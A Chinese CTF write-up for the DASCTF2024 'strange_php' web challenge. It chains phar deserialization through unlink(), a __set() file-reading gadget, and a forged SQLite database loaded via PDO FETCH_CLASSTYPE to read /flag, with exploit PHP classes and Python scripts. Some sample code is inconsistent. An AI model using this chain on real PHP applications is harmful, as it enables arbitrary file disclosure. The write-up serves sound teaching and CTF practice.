CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化?
漏洞入口在
welcome.php
case 'delete': // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path']; $msg = $userMessage->deleteMessage($message); // 删除留言 if ($msg) { echo "留言已成功删除"; // 输出成功删除信息 } else { echo "操作失败,请重新尝试"; // 输出失败信息 } break;
此处message_path
可控,进一步跟进
UserMessage.php
public function deleteMessage($path) { $path = $path . ".txt"; // 添加文件扩展名 if (file_exists($path)) { $result = unlink($path); if ($result === false) { return false; } return true; } return false;
}
$path
可控,同时unlink
可触发phar
反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) { $result = file_put_contents($this->filePath, $message); if ($result === false) { return false; } return true;
}
step 3 如何利用反序列化读取flag?
<?php class UserMessage { private $filePath; ........// 魔术方法 __set,用于设置私有属性并记录日志 public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent); } .......
?>
魔术方法__set()
在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
step 4 如何触发__set()
?
题目使用PDO
链接数据库
PDO_connect.php
<?php class PDO_connect { private $pdo; // 用于保存 PDO 实例 public $con_options = []; // 用于设置 PDO 连接的选项 public $smt; // 用于保存 PDOStatement 实例 public function __construct() { // 构造函数,初始化对象时调用 } // 初始化连接选项 public function init() { $this->con_options = array( "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称 'host' => '127.0.0.1', // 数据库主机地址 'port' => '3306', // 数据库端口 'user' => 'joker', // 数据库用户名 'password' => 'joker', // 数据库密码 'charset' => 'utf8', // 字符集 'options' => array( PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组 PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常 ) ); } // 获取数据库连接 public function get_connection() { $this->conn = null; // 初始化连接为 null try { // 创建 PDO 实例 $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']); // 设置错误处理模式 if ($this->con_options['options'][PDO::ATTR_ERRMODE]) { $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]); } // 设置默认获取模式 if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) { $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]); } } catch (PDOException $e) { // 捕获异常并输出错误信息 echo 'Connection Error: ' . $e->getMessage(); } return $this->conn; // 返回 PDO 连接实例 }
}
?>
在PHP的PDO(PHP Data Objects)中,
PDO::ATTR_DEFAULT_FETCH_MODE
是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。
PDO::FETCH_CLASS
和 PDO::FETCH_CLASSTYPE
是两种不同的获取模式:
-
PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。
-
PDO::FETCH_CLASSTYPE:当与
PDO::FETCH_CLASS
结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS
和 PDO::FETCH_CLASSTYPE
使用按位或运算符 |
结合,可以实现根据数据库中的某个字段动态实例化不同的类。
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。
class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}
在这个例子中,PDO 会根据 class_name
列的值来决定实例化 Admin
或 Member
类。其他列 (id
, username
, password
) 将被传递给相应类的构造函数。
我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
可以写出
class PDO_connect{ private $pdo; public $con_options = []; public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:/var/www/html/xxx.txt', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
step 5 如何触发PDO_connect
?
利用User.__destruct
User.php
public function __destruct() { if ($this->username) { $results = $this->log(); $log_mess = serialize($results); // 记录日志到文件 file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND); }
}
->log即可触发查询,当查询键为UserMessage
会返回伪造的值
public function log() { try { $sql = "SELECT * FROM users WHERE username = :username"; $pdo = $this->conn->get_connection(); $stmt = $pdo->prepare($sql); $stmt->bindParam(':username', $this->username); $stmt->execute(); $result = $stmt->fetch(); return $result; } catch (PDOException $e) { echo $e->getMessage(); }
}
所以写出
class PDO_connect{ private $pdo; public $con_options = [];public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:./fake_db.sqlite', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
class User{ private $conn; private $table = 'users'; public $id; public $username; public $password; public function __construct(){ $this->conn = new PDO_connect(); $this->username = "UserMessage"; }
}
尝试
import sqlite3 conn = sqlite3.connect('fake_db.sqlite')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', 'filePath_value', 'set_value'),
]
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) ''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()
import sqlite3 conn = sqlite3.connect('fake.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users ( username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()
即可控制变量值触发/flag
读取
相关文章:

CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化? 漏洞入口在 welcome.php case delete: // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…...

从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架(动态菜单组件实现)
目录 面对对象C的程序设计(范例) 面对对象C的程序设计(应用) 进一步谈论我上面给出的代码——继承 实现一个面对对象的文本编辑器 所以,什么是继承 重申我们对菜单的抽象 抽象菜单项目 抽象菜单动画 实现菜单功…...

EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析
EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析 0 预览一 该文件功能`fsm_slave.c` 文件功能函数预览二 函数功能介绍`fsm_slave.c` 中主要函数的作用1. `ec_fsm_slave_init`2. `ec_fsm_slave_clear`3. `ec_fsm_slave_exec`4. `ec_fsm_slave_set_ready`5. `ec_fsm_slave_…...

windows10 配置使用json server作为图片服务器
步骤1:在vs code中安装json server, npm i -g json-server 注意:需要安装对应版本的json server,不然可能会报错,比如: npm i -g json-server 0.16.3 步骤2:出现如下报错: json-server 不是…...

Linux——网络(tcp)
文章目录 目录 文章目录 前言 一、TCP逻辑 1. 面向连接 三次握手(建立连接) 四次挥手(关闭连接) 2. 可靠性 3. 流量控制 4. 拥塞控制 5. 基于字节流 6. 全双工通信 7. 状态机 8. TCP头部结构 9. TCP的应用场景 二、编写tcp代码函数…...

腾讯云开发提供免费GPU服务
https://ide.cloud.tencent.com/dashboard/web 适用于推理场景,每个月10000分钟免费时长 166 小时 40 分钟 自带学术加速,速度还是不错的 白嫖 Tesla T4 16G 算力 显存:16GB 算力:8 TFlops SP CPU:8 核 内存&#…...

详解python的修饰符
Python 中的修饰符(Decorator)是一种用于修改或扩展函数或类行为的工具。它们本质上是一个函数,接受另一个函数或类作为参数,并返回一个新的函数或类。修饰符通常用于在不修改原函数或类代码的情况下,添加额外的功能。…...

《攻克语言密码:教AI理解隐喻与象征》
在自然语言处理(NLP)领域,让计算机理解人类语言中的隐喻和象征,是迈向更高语言理解水平的关键一步。从“时间就是金钱”这样的概念隐喻,到文学作品里象征着坚韧的“寒梅”,这些非字面意义的表达方式承载着丰…...

如何解除TikTok地区限制:实用方法解析
随着社交媒体的不断发展,TikTok作为一款短视频平台,已经在全球范围内吸引了数以亿计的用户。然而,不同地区对TikTok的使用权限存在一定的限制,这使得一些用户无法享受平台提供的完整内容和功能。 一、了解TikTok地区限制的原因 在…...

神经网络|(七)概率论基础知识-贝叶斯公式
【1】引言 前序我们已经了解了一些基础知识。 古典概型:有限个元素参与抽样,每个元素被抽样的概率相等。 条件概率:在某条件已经达成的前提下,新事件发生的概率。实际计算的时候,应注意区分,如果是计算综…...

《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance)订阅 已识别 - 已识别问题,并且正在实施修复。 1月 29, 2025 - 20:57 CST 更新 - 我们将继续监控任何其他问题。 1月 28, 2025 - 22&am…...

使用Edu邮箱申请一年免费的.me域名
所需材料:公立Edu教育邮箱一枚(P.S:该服务不支持所有的Edu教育邮箱,仅支持比较知名的院校) 说到域名,.me这个后缀可谓是个性十足,适合个人网站、博客等。.me是黑山的国家顶级域名(c…...

【MCU】DFU、IAP、OTA
我发现很多人把几个概念都学混了,只记得一个升级了 DFU DFU (device firmware update)是指的 USB DFU,这个是 USB 的一个机制,可以升级设备的固件,可以去 USB-IF 查看规范文件。 OTA 全称为 Over-the-air update,利…...

2025.1.21——六、BUU XSS COURSE 1 XSS漏洞|XSS平台搭建
题目来源:buuctf BUU XSS COURSE 1 目录 一、打开靶机,整理信息 二、解题思路 step 1:输入框尝试一下 step 2:开始xss注入 step 3:搭建平台 step 4:利用管理员cookie访问地址 三、小结 二编&#…...

跟李沐学AI:视频生成类论文精读(Movie Gen、HunyuanVideo)
Movie Gen:A Cast of Media Foundation Models 简介 Movie Gen是Meta公司提出的一系列内容生成模型,包含了 3.2.1 预训练数据 Movie Gen采用大约 100M 的视频-文本对和 1B 的图片-文本对进行预训练。 图片-文本对的预训练流程与Meta提出的 Emu: Enh…...

7.抽象工厂(Abstract Factory)
抽象工厂与工厂方法极其类似,都是绕开new的,但是有些许不同。 动机 在软件系统中,经常面临着“一系列相互依赖的对象”的创建工作;同时,由于需求的变化,往往存在更多系列对象的创建工作。 假设案例 假设…...

python-leetcode-路径总和
112. 路径总和 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:de…...

WGCLOUD使用介绍 - 如何监控ActiveMQ和RabbitMQ
根据WGCLOUD官网的信息,目前没有针对ActiveMQ和RabbitMQ这两个组件专门做适配 不过可以使用WGCLOUD已经具备的通用监测模块:进程监测、端口监测或者日志监测、接口监测 来对这两个组件进行监控...

智能汽车网络安全威胁报告
近年来随着智能汽车技术的快速发展,针对智能汽车的攻击也逐渐从传统的针对单一车辆控制器的攻击转变为针对整车智能化服务的攻击,包括但不限于对远程控制应用程序的操控、云服务的渗透、智能座舱系统的破解以及对第三方应用和智能服务的攻击。随着WP.29 …...

WPS怎么使用latex公式?
1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…...

Cyber Security 101-Build Your Cyber Security Career-Security Principles(安全原则)
了解安全三元组以及常见的安全模型和原则。 任务1:介绍 安全已成为一个流行词;每家公司都想声称其产品或服务是安全的。但事实真的如此吗? 在我们开始讨论不同的安全原则之前,了解我们正在保护资产的对手至关重要。您是否试图阻止蹒跚学步…...

Formality:时序变换(二)(不可读寄存器移除)
相关阅读 Formalityhttps://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482 一、引言 时序变换在Design Compiler的首次综合和增量综合中都可能发生,它们包括:时钟门控(Clock Gating)、寄存器合并(Register Merging)、…...

MathType下载与安装详细教程
MathType 软件简介安装步骤重新嵌入word 软件简介 数学公式编辑器MathType 是一款专业的数学公式编辑工具,理科生专用的工具。MathType公式编辑器能够帮助用户在各种文档中插入复杂的数学公式和符号。数学公式编辑器工具可以轻松输入各种复杂的公式和符号ÿ…...

docker中运行的MySQL怎么修改密码
1,进入MySQL容器 docker exec -it 容器名 bash 我运行了 docker ps命令查看。正在运行的容器名称。可以看到MySQL的我起名为db docker exec -it db bash 这样就成功的进入到容器中了。 2,登录MySQL中 mysql -u 用户名 -p 回车 密码 mysql -u root -p roo…...

内外网文件摆渡企业常见应用场景和对应方案
在如今的企业环境中,内外网文件摆渡的需求越来越常见,也变得越来越重要。随着信息化的不断推进,企业内部和外部之间的数据交换越来越频繁,如何安全、高效地进行文件传输成了一个关键问题。今天,咱就来聊聊内外网文件摆…...

【Block总结】PKI 模块,无膨胀多尺度卷积,增强特征提取的能力|即插即用
论文信息 标题: Poly Kernel Inception Network for Remote Sensing Detection 作者: Xinhao Cai, Qiuxia Lai, Yuwei Wang, Wenguan Wang, Zeren Sun, Yazhou Yao 论文链接:https://arxiv.org/pdf/2403.06258 代码链接:https://github.com/NUST-Mac…...

自制一个入门STM32 四足机器人具体开发顺序
0 前期准备 1. 知识储备 学习 STM32 微控制器的基础知识,包括 GPIO、定时器、串口通信等外设的使用,可通过官方文档、教程和视频课程进行学习。了解舵机控制原理,因为四足机器人通常使用舵机来实现关节运动。掌握基本的机械结构设计知识&am…...

物联网智能项目之——智能家居项目的实现!
成长路上不孤单😊😊😊😊😊😊 【14后😊///计算机爱好者😊///持续分享所学😊///如有需要欢迎收藏转发///😊】 今日分享关于物联网智能项目之——智能家居项目…...

[免费]微信小程序智能商城系统(uniapp+Springboot后端+vue管理端)【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的微信小程序智能商城系统(uniappSpringboot后端vue管理端),分享下哈。 项目视频演示 【免费】微信小程序智能商城系统(uniappSpringboot后端vue管理端) Java毕业设计_哔哩哔哩_bilibili 项目介绍…...

C28.【C++ Cont】顺序表的实现
🧨🧨🧨🧨🧨🧨🧨🧨🧨初二篇🧨🧨🧨🧨🧨🧨🧨🧨🧨 目录 1.知识回顾…...